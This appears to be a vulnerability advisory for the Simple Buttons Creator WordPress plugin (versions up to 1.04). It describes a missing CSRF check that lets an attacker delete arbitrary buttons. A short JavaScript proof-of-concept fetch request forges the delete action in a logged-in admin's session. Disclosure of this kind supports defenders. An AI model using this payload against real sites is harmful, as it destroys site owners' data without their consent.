Simple Buttons Creator <= 1.04 - Aribtrary Button Deletion via CSRF

2024-03-2500:00:00

Bob Matyas

arbitrary button deletion

csrf

simple buttons creator

logged in admin

9.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

JSON

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Make a logged in admin open a page with the code below (where `<<VALID_ID>>` is an existing button):

```
fetch("https://example.com/wp-admin/admin.php?page=simple-buttons", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'method=delete&id=<<VALID_ID>>',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
```